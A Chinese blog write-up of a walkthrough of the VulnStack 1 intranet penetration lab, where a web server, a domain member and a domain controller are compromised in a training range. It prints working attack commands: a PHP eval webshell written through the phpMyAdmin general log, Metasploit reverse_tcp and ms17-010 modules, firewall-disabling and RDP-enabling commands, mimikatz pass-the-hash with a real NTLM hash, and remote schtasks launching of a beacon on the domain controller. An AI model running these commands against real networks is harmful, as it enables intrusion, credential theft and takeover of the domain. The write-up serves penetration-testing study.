内网渗透靶机-VulnStack 1

2020-05-26 16:56:35 浏览数 (1)

前言:

靶机是红日团队开源的一个靶机,靠着这个环境学习到了很多啊哈哈哈!现在自己也是会搭建一些环境了!也是靠着这个靶机从0开始学内网,了解内网渗透,虽然很菜很菜很菜!靶机下载地址如下:

代码语言:javascript复制
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

WEB服务器:windows7系统

代码语言:javascript复制
外网网卡IP:192.168.1.102
内网网卡IP:192.168.52.143

域成员:windows server 2003系统

代码语言:javascript复制
网卡IP:192.168.52.141

域控服务器:windows server 2008系统

代码语言:javascript复制
网卡IP:192.168.52.138

攻击机器:kali windows 10

代码语言:javascript复制
kali IP:192.168.1.112
CobaltStrike服务器IP:192.168.1.108

打开目标网站,发现了网站有后台路径泄露

后台弱密码

进来后台直接admin/123456弱密码搞进去,然后发现前台模板有php文件编辑,可以直接写shell上去,毕竟还是靶机,实战弱口令公网上我倒是进入过,但是不知道是不是蜜罐哈哈哈!

但是这个时候不知道路径,无法连接到shell。那我就御剑上去扫描一波http://192.168.1.117/yxcms/路径下的目录,发现了有robots.txt、protected和pubic。其中protected有信息泄露,路径可以浏览得到

这个时候只要浏览找出刚刚修改过的页面就可以使用shell连接器连接了

在对一级目录扫描发现了备份文件、phpmyadmin和phpinfo.php。打开phpinfo.php发现了觉得路径,是phpstudy搭建的服务器

phpmyadmin日志拿shell

打开phpmyadmin进去也是直接root / root 登陆,那就可以使用到phpmyadmin日志getshell。在现实网站部署中还是很多网站选择使用phpmyadmin的WEB界面来管理数据库的!首先我使用绝对路径写入shell,发现写入失败。

如果写入文件失败的话,要么权限不够要么就是secure_file_priv的原因。我们先整理一些sql写入一句话的条件:secure_file_priv = 为空、知道物理路径、有写入权限,那么上面报错可以知道secure_file_priv现在了我们写入一句话木马,这个时候我们可以通过phpmyadmin全局日志来回去webshell

代码语言:javascript复制
show variables like '%general%';查询全局日志变量配置

开启general_log 将所有查询语句记录到新指定的可访问的文件中

代码语言:javascript复制
set global general_log = on

然后设置全局日志的路径

代码语言:javascript复制
set global general_log_file = 'C:/phpStudy/WWW/rizi.php'

这个时候我们通过select写入一句话木马到日志中,那就可以使用shell连接工具连接shell了

代码语言:javascript复制
SELECT '<?php eval($_POST[pass]);?>'

最后两个shell都可以正常连接!哈哈哈哈贪玩一会!

进入内网

由于对方是windows系统,这里直接生成powershell使对方上线CobaltStrike

在获取CobaltStrike Shell之后获取的是Administrator权限,使用ms14-058提权成功

之后加载mimikatz 模块获取到了机器的明文密码和hash

把CobaltStrike的会话移植到msf上。在msf上面设置监听等待会话移植过来

代码语言:javascript复制
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.
set lport 2978
exploit

在CobaltStrike设置监听,这个时候设置为foreign监听,并且payload和msf设置的要一样(场景一:如果CS服务器搭建在VPS上使用公网IP,msf在内网使用私有IP,这个时候需要将内网地址端口映射到公网IP的端口上)

然后选择要派生的beacon,右键-->增加会话,选择刚刚配置的foreign监听器

SMB Beacon使用命名管道通过父级Beacon进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕过防火墙有奇效。这也是CobaltStrike作者推荐的。设置监听,使用Beacon SMB

然后选择Beacon 右击,选择增加会话,选择SMB的监听器,然后就可以转移到SMB Beacon上了

然后判断网络,发现有内网存在,有两张网卡,一张网卡通向内网

判断是否有域存在,查看网关IP地址、DNS的IP地址、域名、本机是否和DNS服务器处于同一网段

代码语言:javascript复制
ipconfig /all

通过反向解析查询命令nslookup来解析域名,用解析的域名得到的IP地址进行对比判断域控和DNS服务器是否在同一台服务器上。执行命令查看域的域名,发现存在god.org域

查询命令

代码语言:javascript复制
whoami
systeminfo
nslookup god.org    # 解析域名IP地址
net config workstation  #查询当前登陆域及登陆用户信息
net view /domain   #查看域
net time /domain  # 获取域服务器的时间

查询操作系统信息

代码语言:javascript复制
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"  # 英文操作系统
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"   # 中文操作系统
echo %PROCESSOR_ARCHITECTURE%    # 查看系统系统结构

查看安装的软件以及版本、路径信息

代码语言:javascript复制
wmic product get name,version   # 使用wmic操作
powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name,Version"   #使用powershell进行操作

查询信息命令

代码语言:javascript复制
wmic service list brief   # 查询本机服务信息
tasklist                   #查询进程
wmic process list brief   #使用wmic查询进程
wmic  startup get command,caption   #查看启动进程
schtasks /query /fo list /v      # 查看计划任务
net statistics workstation     # 查看主机开机时间
netstat -ano    #查询端口列表
wmic qfe get caption,description,hotfixid,installedon   #查询本机安装的补丁

查看机器内账号信息

代码语言:javascript复制
net user    #查看本机用户列表
net localgroup administrators  # 获取本地管理员
query user || qwinsta   # 获取在线用户
net session    # 列出计算机所连接的客户端之间的会话
net share   # 查看本机共享列表
wmic share get name,path,status #使用wmic 查询本机共享列表

关闭防火墙

代码语言:javascript复制
netsh firewall set opmode disable   # windows server 2003 之前
netsh advfirewall set allprofiles state off  # windows server 2003 之后

开启3389端口

代码语言:javascript复制
注册表打开:
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f   #开启的话把0改为1
wmic开启3389:
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

探测域内存活的主机

代码语言:javascript复制
Ping命令探测内网主机
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
使用Ladon插件在CobaltStrike上查询存活主机
Ladon 192.168.52.0/24 OnlinePC

查找域内信息

代码语言:javascript复制
net view /domain:god # 查看域内所有计算机
net group /domain  #查看域内所有用户列表
net group "domain computers" /domain #查看域成员计算机列表
  • Domain Admins :域管理员
  • Domain Computers:域内机器
  • Domain Controllers:域控制器
  • Domain Guests:域访客
  • Domain Users:域用户
  • Enterprise Admins:企业系统管理员 nltest /domain_trusts #获取域信任信息 sltest /DCLIST:god #查看域控制器机器名 net group "domain admins" /domain #查询域管理员用户 net group "Enterprise admins" /domain # 查询管理员用户在

横向移动获取域内主机

代码语言:javascript复制
msf添加路由,使用代理进入内网
run  get_local_subnets    查看当前网段
run autoroute -s 192.168.52.0/24 添加路由段

在Metasploit中激活路由配置,并且该配置必须能够通过socks4代理进行转发。

代码语言:javascript复制
use auxiliary/server/socks4a
set srvhost 192.168.1.112
run

进入/etc/proxychains.conf 在底下修改,因为我们socks4模块设置为了192.168.1.112 1080端口.

这个时候代理成功,可以进入内网了,使用nmap来扫描域成员192.168.52.141的信息发现了有ms17-010漏洞,这里值得注意的是socket代理不支持ICMP协议

代码语言:javascript复制
proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 --script=smb-vuln-ms17-010.nse 192.168.52.141

这个时候就可以使用msf内置的永恒之蓝漏洞去获取域成员的shell了,这个时候需要注意的是使用payload的时候要使用正向shell去连接

代码语言:javascript复制
search ms17-010
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.141
run

当然除了使用ms17-010来获取域成员主机之外,也可以使用哈希传递去横向移动获取域成员的主机,在域环境中计算机登陆时候使用的大都是域账号,大量计算机在安装的时候会使用相同的本地管理员账户和密码。如果计算机的本地管理员账户密码也是相同,就可以使用哈希传递的方法对内网其他计算机进行攻击。可以通过哈希传递和明文登陆来横向获取其他机器。

使用刚刚mimikatz获取下来的明文密码进行传递,也可以使用哈希来传递

这样对方域成员主机就可以上线了!

这里为了更加好的回去对方内网的主机,直接使用对方服务器作为跳板进入内网获取跟多主机,使用earthworm进行socks代理。把EW对于对方服务器操作系统的版本上传上去,然后输入命令代理

代码语言:javascript复制
ew_for_Win.exe -s ssocksd -l 1082

然后在Proxifier配置相对于的配置Windows就可以访问内网了。

Linux下可以使用命令行代理工具proxychains来代理进入内网

然后Linux也代理成功!

使用proxychains 代理msf打通内网主机,这里打通了域成员!

这个时候以及获取到了两个机器的控制了!然后使用mimikatz获取明文密码或者ntlm哈希来进行获取域控

使用获取下来的ntlm哈希进行哈希传递获取访问域控的权限,接着使用dir 就可以查看域控内网资源了

代码语言:javascript复制
mimikatz sekurlsa::pth /domain:god.org /user:administrator /ntlm:81be2f80d568100549beac645d6a7141

dir \192.168.52.138c$

然后设置中转监听,这个监听IP要内网可以通信的内网IP

然后生成木马,再把木马copy到域控,设置好任务计划,启动木马之后就能够获取域控的shell了

代码语言:javascript复制
copy C:beacon.exe \192.168.52.138c$
shell schtasks /create /tn "test" /tr C:beacon.exe /sc once /st 18:05 /S 192.168.52.138 /RU System  /u administrator /p "hongrisec@2020"
schtasks /delete /s 192.168.52.138 /tn "test" /f

最后再让msf上面获取的域成员windows server 2003上线到CobaltStrike

!!!最后还是学习到了很多,把内网安全攻防这本书看了一边,还是由很多不懂哈哈哈!

0 人点赞